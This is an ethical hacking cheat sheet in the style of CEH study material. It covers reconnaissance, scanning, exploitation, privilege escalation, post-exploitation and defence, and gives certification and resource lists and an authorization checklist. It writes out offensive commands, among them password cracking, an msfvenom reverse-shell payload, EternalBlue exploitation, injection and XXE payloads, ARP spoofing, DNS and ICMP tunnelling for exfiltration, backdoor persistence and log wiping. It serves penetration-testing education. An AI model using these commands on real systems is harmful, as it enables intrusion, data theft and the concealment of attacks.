Introduction: What is Ethical Hacking?
Ethical hacking involves legally and methodically attempting to penetrate systems and networks to discover security vulnerabilities that malicious hackers could potentially exploit. Certified Ethical Hackers (CEH) use the same knowledge and tools as malicious hackers but in a lawful and legitimate manner to assess and improve the security posture of organizations. This practice is essential in today’s digital landscape where cyber threats continue to evolve in sophistication and frequency.
The Five Phases of Ethical Hacking
Phase | Description | Key Objectives |
---|---|---|
1. Reconnaissance | Gathering information about the target | Identify scope, collect target details, understand system architecture |
2. Scanning | Identifying open ports and vulnerabilities | Discover open services, map network, identify potential entry points |
3. Gaining Access | Exploiting vulnerabilities to enter systems | Breach defenses, elevate privileges, establish persistence |
4. Maintaining Access | Ensuring continued access to compromised systems | Plant backdoors, deploy rootkits, create covert channels |
5. Covering Tracks | Removing evidence of penetration | Delete logs, remove artifacts, conceal communication channels |
Reconnaissance Techniques
Passive Reconnaissance
- WHOIS Lookups:
whois domain.com
- DNS Enumeration:
dig domain.com
,nslookup domain.com
- Google Dorking:
site:domain.com filetype:pdf
intitle:"index of" "parent directory"
inurl:admin filetype:php
- Social Media Intelligence: LinkedIn, Twitter, Facebook profiling
- OSINT Tools:
- Maltego
- Shodan
- theHarvester:
theHarvester -d domain.com -b all
- Recon-ng:
recon-ng
Active Reconnaissance
- Ping Sweeps:
fping -a -g 192.168.1.0/24
- Traceroute:
traceroute domain.com
- Banner Grabbing:
nc -v domain.com 80
- DNS Zone Transfers:
dig axfr @ns1.domain.com domain.com
Network Scanning & Enumeration
Port Scanning Techniques
- TCP Connect Scan:
nmap -sT 192.168.1.1
- SYN Scan (Half-open):
nmap -sS 192.168.1.1
- UDP Scan:
nmap -sU 192.168.1.1
- FIN Scan:
nmap -sF 192.168.1.1
- XMAS Scan:
nmap -sX 192.168.1.1
- NULL Scan:
nmap -sN 192.168.1.1
- Idle Scan:
nmap -sI zombie_ip target_ip
Nmap Cheat Sheet
- Comprehensive Scan:
nmap -A -T4 -p- 192.168.1.1
- Script Scanning:
nmap --script=vuln 192.168.1.1
- OS Detection:
nmap -O 192.168.1.1
- Service Version Detection:
nmap -sV 192.168.1.1
- Scan Multiple IPs:
nmap 192.168.1.1-100
- Scan from File:
nmap -iL targets.txt
- Output to File:
nmap -oA output_name 192.168.1.1
Service Enumeration
- SMB:
enum4linux -a 192.168.1.1
- SMTP:
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.1
- SNMP:
snmpwalk -c public -v1 192.168.1.1
- NFS:
showmount -e 192.168.1.1
- DNS:
dnsrecon -d domain.com -t axfr
Vulnerability Assessment
Vulnerability Scanning Tools
- OpenVAS: Open-source vulnerability scanner
- Nessus: Commercial vulnerability assessment solution
- Nexpose: Rapid7’s vulnerability management solution
- Qualys: Cloud-based vulnerability management
Web Application Scanning
- Nikto:
nikto -h http://domain.com
- OWASP ZAP: Automated and manual web app scanning
- Burp Suite: Web vulnerability scanner and proxy
- Dirb/Dirbuster:
dirb http://domain.com /usr/share/wordlists/dirb/common.txt
- SQLmap:
sqlmap -u "http://domain.com/page.php?id=1" --dbs
Exploitation Techniques
Password Attacks
- Brute Force:
hydra -l admin -P /path/to/wordlist.txt 192.168.1.1 http-post-form
- Dictionary Attack:
john --wordlist=/path/to/wordlist.txt hash_file
- Rainbow Tables:
ophcrack -d /path/to/tables -t /path/to/hash
- Password Cracking Tools:
- John the Ripper
- Hashcat:
hashcat -m 0 -a 0 hash.txt wordlist.txt
- Medusa
- Aircrack-ng:
aircrack-ng -w wordlist.txt capture.cap
Social Engineering
- Phishing: Creating fake websites, emails
- Pretexting: Creating a fabricated scenario
- Baiting: Using physical media like infected USB drives
- Quid Pro Quo: Offering a service in exchange for information
- Tailgating: Following someone into a secured area
- Tools:
- Social-Engineer Toolkit (SET):
setoolkit
- GoPhish
- Maltego
- Social-Engineer Toolkit (SET):
Metasploit Framework
- Starting Metasploit:
msfconsole
- Searching Exploits:
search type:exploit platform:windows
- Using an Exploit:
use exploit/windows/smb/ms17_010_eternalblue
- Setting Options:
set RHOSTS 192.168.1.1
- Running the Exploit:
exploit
orrun
- Creating Payloads:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe
- Post-Exploitation Modules:
use post/windows/gather/hashdump
Web Application Attacks
- SQL Injection:
' OR 1=1 --
- XSS (Cross-Site Scripting):
<script>alert('XSS')</script>
- CSRF (Cross-Site Request Forgery): Creating malicious forms
- File Inclusion:
http://domain.com/page.php?file=../../../etc/passwd
- Command Injection:
; cat /etc/passwd
- XML External Entity (XXE):
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Privilege Escalation
Windows
- Missing Patches:
systeminfo
- Unquoted Service Paths:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
- Weak Service Permissions:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
- AlwaysInstallElevated:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- Tools:
- PowerUp.ps1
- BeRoot
- Windows-Exploit-Suggester
Linux
- SUID Binaries:
find / -perm -u=s -type f 2>/dev/null
- Sudo Rights:
sudo -l
- Kernel Exploits:
uname -a
to identify kernel version - Cron Jobs: Check
/etc/crontab
and/var/spool/cron/
- World-Writable Files:
find / -writable -type f 2>/dev/null
- Tools:
- LinPEAS
- LinEnum
- linux-exploit-suggester
Network Attacks
Man-in-the-Middle
- ARP Poisoning:
arpspoof -i eth0 -t target_ip gateway_ip
- DNS Spoofing:
dnsspoof -i eth0 host target.com
- SSL Stripping: Using
sslstrip
- Tools:
- Ettercap:
ettercap -T -q -i eth0 -M arp:remote /target_ip/ /gateway_ip/
- Bettercap
- Wireshark
- Ettercap:
Wireless Attacks
- WEP Cracking:
aircrack-ng -a 1 -b [BSSID] capture.cap
- WPA/WPA2 Cracking:
aircrack-ng -a 2 -b [BSSID] -w wordlist.txt capture.cap
- Evil Twin: Creating rogue access points
- WPS Attacks:
reaver -i wlan0mon -b [BSSID] -vv
- Jamming: Using deauthentication attacks
- Tools:
- Aircrack-ng Suite
- Wifite
- Kismet
- Wireshark with monitor mode
Post-Exploitation
Data Exfiltration
- Using DNS Tunneling:
iodine -P password 192.168.1.1 tunnel.domain.com
- ICMP Tunneling:
ptunnel -p 192.168.1.1 -lp 8000 -da target.com -dp 80
- Using HTTP/HTTPS: Encoding data in HTTP requests
- Using Steganography: Hiding data in images or audio files
- Tools:
- dnscat2
- Egress-Assess
- Data Exfiltration Toolkit (DET)
Persistence Mechanisms
- Windows:
- Creating services:
sc create backdoor binpath="C:\backdoor.exe"
- Registry autoruns:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\backdoor.exe"
- Scheduled tasks:
schtasks /create /tn "Backdoor" /tr C:\backdoor.exe /sc onlogon
- WMI persistence:
wmic /namespace:"\\root\subscription" path __EventFilter
- Creating services:
- Linux:
- Adding to /etc/rc.local
- Creating cron jobs:
echo "* * * * * /path/to/backdoor" >> /etc/crontab
- Adding to startup scripts
- SSH keys: Adding to ~/.ssh/authorized_keys
Covering Tracks
- Clearing Windows Event Logs:
wevtutil cl System
- Clearing Linux Logs:
echo "" > /var/log/auth.log
- Timestomping: Modifying file timestamps
- Disabling Auditing:
auditpol /set /category:"System" /success:disable /failure:disable
- Tools:
- Metasploit clearev module
- timestomp.exe
- anti-forensic techniques
Defense Techniques
Network Security Controls
- Firewalls: Configuration and rule creation
- IDS/IPS: Signature vs. anomaly-based detection
- Network Segmentation: Creating security zones
- VPN: Secure remote access
- NAC (Network Access Control): 802.1x implementation
System Hardening
- Windows Hardening:
- Disabling unnecessary services
- Group Policy configuration
- Regular patching
- AppLocker policies
- Linux Hardening:
- Configuring SELinux/AppArmor
- Setting proper file permissions
- Kernel hardening
- Firewall configuration with iptables/nftables
Application Security
- Secure Coding Practices
- OWASP Top 10 Mitigations
- Web Application Firewalls (WAF)
- Input Validation and Sanitization
- Content Security Policy (CSP)
Comprehensive Tools Matrix
Tool Category | Windows Tools | Linux Tools | Cross-Platform Tools |
---|---|---|---|
Reconnaissance | Active Directory Explorer, SpiderFoot | theHarvester, Recon-ng | Maltego, Shodan, Google Dorks |
Scanning | SuperScan, Advanced Port Scanner | Nmap, Masscan | Angry IP Scanner, Unicornscan |
Vulnerability Assessment | Nessus, Nexpose | OpenVAS, Lynis | Qualys, Acunetix, Nikto |
Web Application Testing | IIS Crypto, Fiddler | Skipfish, w3af | Burp Suite, OWASP ZAP, SQLmap |
Password Attacks | Cain & Abel, L0phtCrack | John the Ripper, hashcat | Hydra, Medusa, RainbowCrack |
Wireless | Aircrack-ng, WiFi Analyzer | Kismet, Wifite | Wireshark, inSSIDer |
Exploitation | PowerShell Empire, Responder | Metasploit, Social Engineer Toolkit | BeEF, Covenant, Immunity CANVAS |
Post-Exploitation | BloodHound, Mimikatz | Netcat, Weevely | Empire, Metasploit, CobaltStrike |
Common Vulnerabilities & Exploits
Vulnerability Type | Description | Common Tools | Example CVEs |
---|---|---|---|
Buffer Overflow | Memory corruption when input exceeds allocated buffer | SPIKE, Immunity Debugger | CVE-2020-0796 (SMBGhost) |
Command Injection | Executing OS commands via unsanitized input | Commix, manual testing | CVE-2019-11510 (Pulse VPN) |
SQL Injection | Database manipulation via unsanitized SQL input | SQLmap, sqlninja | CVE-2020-9484 (Tomcat) |
Cross-Site Scripting | Injecting client-side scripts into webpages | XSStrike, BeEF | CVE-2019-0604 (SharePoint) |
Privilege Escalation | Gaining higher-level permissions | PowerUp, LinPEAS | CVE-2021-1675 (PrintNightmare) |
Remote Code Execution | Executing arbitrary code remotely | ExploitDB resources, Metasploit | CVE-2021-44228 (Log4Shell) |
MITM | Intercepting/modifying communications | Ettercap, Bettercap | N/A (attack technique) |
Authentication Bypass | Circumventing authentication mechanisms | Burp Intruder, custom scripts | CVE-2019-19781 (Citrix) |
Best Practices for Ethical Hacking
Documentation
- Document all testing activities with timestamps
- Maintain detailed notes of findings
- Screenshot evidence of vulnerabilities
- Create clear, actionable reports for stakeholders
Scope Management
- Always operate within defined scope boundaries
- Get written permission before testing
- Avoid testing production systems without proper approval
- Follow responsible disclosure policies
Risk Mitigation
- Use dedicated testing environments when possible
- Avoid destructive testing without explicit permission
- Have rollback plans for all exploitation attempts
- Test during low-traffic periods if testing production
Legal Considerations
- Understand relevant laws (CFAA, GDPR, etc.)
- Never exceed authorized access
- Maintain client confidentiality
- Properly handle sensitive data discoveries
Ethical Hacking Certification Path
Certification | Focus Area | Prerequisites | Value |
---|---|---|---|
CEH (Certified Ethical Hacker) | Broad ethical hacking knowledge | 2 years IT experience recommended | Industry standard entry certification |
OSCP (Offensive Security Certified Professional) | Hands-on penetration testing | Technical background | Highly respected practical certification |
CISSP (Certified Information Systems Security Professional) | Overall security management | 5 years security experience | Advanced security management |
GPEN (GIAC Penetration Tester) | Advanced penetration testing | Technical background | Thorough penetration testing knowledge |
CREST | Various security testing certifications | Varies by certification | Well-respected in UK and Europe |
CompTIA PenTest+ | Vulnerability assessment and penetration testing | Network+ and Security+ recommended | Vendor-neutral penetration testing cert |
Resources for Further Learning
Books
- “The Hacker Playbook” series by Peter Kim
- “Penetration Testing: A Hands-On Introduction to Hacking” by Georgia Weidman
- “Red Team Field Manual” by Ben Clark
- “Blue Team Field Manual” by Alan White & Ben Clark
- “The Web Application Hacker’s Handbook” by Dafydd Stuttard and Marcus Pinto
Online Platforms
- HackTheBox
- TryHackMe
- VulnHub
- PortSwigger Web Security Academy
- SANS Cyber Ranges
Communities and Forums
- Reddit r/netsec
- OWASP Community
- Stack Exchange Information Security
- HackerOne Hacktivity
- DEF CON Groups
Practice Environments
- Metasploitable
- DVWA (Damn Vulnerable Web Application)
- OWASP WebGoat
- OWASP Juice Shop
- HackTheBox
Quick Reference: Common Ports & Services
Port | Service | Common Vulnerabilities |
---|---|---|
21 | FTP | Anonymous access, cleartext credentials, outdated versions |
22 | SSH | Weak passwords, outdated versions (OpenSSH) |
23 | Telnet | Cleartext communications, brute force |
25 | SMTP | Open relay, user enumeration |
53 | DNS | Zone transfers, cache poisoning, amplification |
80/443 | HTTP/HTTPS | Various web vulnerabilities (XSS, SQLi, etc.) |
135 | RPC | Various Windows vulnerabilities |
139/445 | SMB/CIFS | EternalBlue, null sessions, weak shares |
1433/1434 | MS SQL | SA blank password, excessive privileges |
3306 | MySQL | Root without password, excessive privileges |
3389 | RDP | BlueKeep, weak credentials |
5900 | VNC | Weak authentication, no encryption |
Ethical Hacking Checklist
- [ ] Get proper written authorization
- [ ] Define clear scope and boundaries
- [ ] Prepare tools and testing environment
- [ ] Conduct reconnaissance
- [ ] Perform vulnerability scanning
- [ ] Validate vulnerabilities manually
- [ ] Attempt exploitation if authorized
- [ ] Document all findings with evidence
- [ ] Maintain regular communication with client
- [ ] Create comprehensive report with remediation steps
- [ ] Present findings to stakeholders
- [ ] Assist with remediation if requested
- [ ] Verify fixes with retesting if in scope
- [ ] Securely delete all client data after engagement